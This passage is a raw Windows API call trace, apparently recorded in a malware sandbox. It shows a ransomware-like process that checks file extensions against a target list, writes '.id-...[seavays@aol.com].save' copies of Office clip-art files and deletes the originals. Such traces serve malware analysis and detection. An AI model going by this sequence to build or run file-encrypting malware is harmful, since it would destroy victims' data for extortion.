(lpString=".xlsx") returned 5 [0174.714] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0174.714] lstrlenW (lpString=".ppt") returned 4 [0174.714] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString=".zip") returned 4 [0174.714] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0174.714] lstrlenW (lpString=".rar") returned 4 [0174.714] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0174.714] lstrlenW (lpString=".bz2") returned 4 [0174.714] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0174.714] lstrlenW (lpString=".7z") returned 3 [0174.714] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString=".dbf") returned 4 [0174.714] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString=".1cd") returned 4 [0174.714] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString=".jpg") returned 4 [0174.714] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.714] lstrlenW (lpString=".doc") returned 4 [0174.714] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0174.714] lstrlenW (lpString=".docx") returned 5 [0174.714] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0174.715] lstrlenW (lpString=".pdf") returned 4 [0174.715] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0174.715] lstrlenW (lpString=".xls") returned 4 [0174.715] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0174.715] lstrlenW (lpString=".xlsx") returned 5 [0174.715] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0174.715] lstrlenW (lpString=".ppt") returned 4 [0174.715] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0174.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.715] lstrlenW (lpString=".zip") returned 4 [0174.715] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0174.715] lstrlenW (lpString=".rar") returned 4 [0174.715] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0174.715] lstrlenW (lpString=".bz2") returned 4 [0174.715] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0174.715] lstrlenW (lpString=".7z") returned 3 [0174.715] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0174.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.715] lstrlenW (lpString=".dbf") returned 4 [0174.715] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0174.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.715] lstrlenW (lpString=".1cd") returned 4 [0174.715] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0174.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0174.715] lstrlenW (lpString=".jpg") returned 4 [0174.715] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0174.715] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0174.716] lstrlenW (lpString="PARNT_07.MID") returned 12 [0174.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.500] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=6564) returned 1 [0175.500] CloseHandle (hObject=0x544) returned 1 [0175.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0175.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.501] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.501] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0175.503] GetLastError () returned 0x0 [0175.503] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x19a4, lpOverlapped=0x0) returned 1 [0175.505] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x19b0, lpOverlapped=0x0) returned 1 [0175.507] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.507] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.507] SetEndOfFile (hFile=0x434) returned 1 [0175.507] CloseHandle (hObject=0x434) returned 1 [0175.507] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.507] SetEndOfFile (hFile=0x544) returned 1 [0175.510] CloseHandle (hObject=0x544) returned 1 [0175.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0175.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.512] lstrlenW (lpString=".doc") returned 4 [0175.512] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.512] lstrlenW (lpString=".docx") returned 5 [0175.512] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0175.512] lstrlenW (lpString=".pdf") returned 4 [0175.512] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.512] lstrlenW (lpString=".xls") returned 4 [0175.513] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.513] lstrlenW (lpString=".xlsx") returned 5 [0175.513] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0175.513] lstrlenW (lpString=".ppt") returned 4 [0175.513] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString=".zip") returned 4 [0175.513] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.513] lstrlenW (lpString=".rar") returned 4 [0175.513] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.513] lstrlenW (lpString=".bz2") returned 4 [0175.513] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.513] lstrlenW (lpString=".7z") returned 3 [0175.513] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString=".dbf") returned 4 [0175.513] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString=".1cd") returned 4 [0175.513] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString=".jpg") returned 4 [0175.513] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.513] lstrlenW (lpString=".doc") returned 4 [0175.514] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.514] lstrlenW (lpString=".docx") returned 5 [0175.514] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0175.514] lstrlenW (lpString=".pdf") returned 4 [0175.514] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.514] lstrlenW (lpString=".xls") returned 4 [0175.514] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.514] lstrlenW (lpString=".xlsx") returned 5 [0175.514] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0175.514] lstrlenW (lpString=".ppt") returned 4 [0175.514] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.514] lstrlenW (lpString=".zip") returned 4 [0175.514] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.514] lstrlenW (lpString=".rar") returned 4 [0175.514] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.514] lstrlenW (lpString=".bz2") returned 4 [0175.514] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.514] lstrlenW (lpString=".7z") returned 3 [0175.514] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.514] lstrlenW (lpString=".dbf") returned 4 [0175.514] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.514] lstrlenW (lpString=".1cd") returned 4 [0175.514] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0175.514] lstrlenW (lpString=".jpg") returned 4 [0175.515] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.515] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.515] lstrlenW (lpString="ROAD_01.MID") returned 11 [0175.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.517] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=5983) returned 1 [0175.517] CloseHandle (hObject=0x544) returned 1 [0175.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0175.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.518] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.518] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0175.520] GetLastError () returned 0x0 [0175.520] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x175f, lpOverlapped=0x0) returned 1 [0175.527] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x1760, lpOverlapped=0x0) returned 1 [0175.529] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.529] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xea, lpOverlapped=0x0) returned 1 [0175.529] SetEndOfFile (hFile=0x434) returned 1 [0175.529] CloseHandle (hObject=0x434) returned 1 [0175.529] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.530] SetEndOfFile (hFile=0x544) returned 1 [0175.533] CloseHandle (hObject=0x544) returned 1 [0175.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0175.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.535] lstrlenW (lpString=".doc") returned 4 [0175.535] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.535] lstrlenW (lpString=".docx") returned 5 [0175.535] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.535] lstrlenW (lpString=".pdf") returned 4 [0175.535] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.535] lstrlenW (lpString=".xls") returned 4 [0175.535] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.535] lstrlenW (lpString=".xlsx") returned 5 [0175.535] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.536] lstrlenW (lpString=".ppt") returned 4 [0175.536] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.536] lstrlenW (lpString=".zip") returned 4 [0175.536] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.536] lstrlenW (lpString=".rar") returned 4 [0175.536] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.536] lstrlenW (lpString=".bz2") returned 4 [0175.536] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.536] lstrlenW (lpString=".7z") returned 3 [0175.536] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.536] lstrlenW (lpString=".dbf") returned 4 [0175.536] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.536] lstrlenW (lpString=".1cd") returned 4 [0175.536] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.536] lstrlenW (lpString=".jpg") returned 4 [0175.536] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.537] lstrlenW (lpString=".doc") returned 4 [0175.537] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.537] lstrlenW (lpString=".docx") returned 5 [0175.537] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.537] lstrlenW (lpString=".pdf") returned 4 [0175.537] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.537] lstrlenW (lpString=".xls") returned 4 [0175.537] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.537] lstrlenW (lpString=".xlsx") returned 5 [0175.537] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.537] lstrlenW (lpString=".ppt") returned 4 [0175.537] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.537] lstrlenW (lpString=".zip") returned 4 [0175.537] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.537] lstrlenW (lpString=".rar") returned 4 [0175.537] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.537] lstrlenW (lpString=".bz2") returned 4 [0175.537] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.537] lstrlenW (lpString=".7z") returned 3 [0175.537] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.537] lstrlenW (lpString=".dbf") returned 4 [0175.537] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.537] lstrlenW (lpString=".1cd") returned 4 [0175.537] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0175.538] lstrlenW (lpString=".jpg") returned 4 [0175.538] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.538] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.538] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0175.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.539] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10122) returned 1 [0175.539] CloseHandle (hObject=0x544) returned 1 [0175.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 0x220 [0175.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.540] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.540] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0175.541] GetLastError () returned 0x0 [0175.541] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x278a, lpOverlapped=0x0) returned 1 [0175.875] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2790, lpOverlapped=0x0) returned 1 [0175.876] ReadFile (in: hFile=0x544, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.876] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.877] SetEndOfFile (hFile=0x434) returned 1 [0175.877] CloseHandle (hObject=0x434) returned 1 [0175.877] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.877] SetEndOfFile (hFile=0x544) returned 1 [0175.880] CloseHandle (hObject=0x544) returned 1 [0175.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.658] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0176.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.659] lstrlenW (lpString=".doc") returned 4 [0176.659] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.659] lstrlenW (lpString=".docx") returned 5 [0176.659] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.659] lstrlenW (lpString=".pdf") returned 4 [0176.659] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.659] lstrlenW (lpString=".xls") returned 4 [0176.659] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.659] lstrlenW (lpString=".xlsx") returned 5 [0176.659] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.659] lstrlenW (lpString=".ppt") returned 4 [0176.659] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 68 [0176.659] lstrlenW (lpString=".zip") returned 4 [0176.659] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.659] lstrlenW (lpString=".rar") returned 4 [0176.659] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.659] lstrlenW (lpString=".bz2") returned 4 [0176.659] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.659] lstrlenW 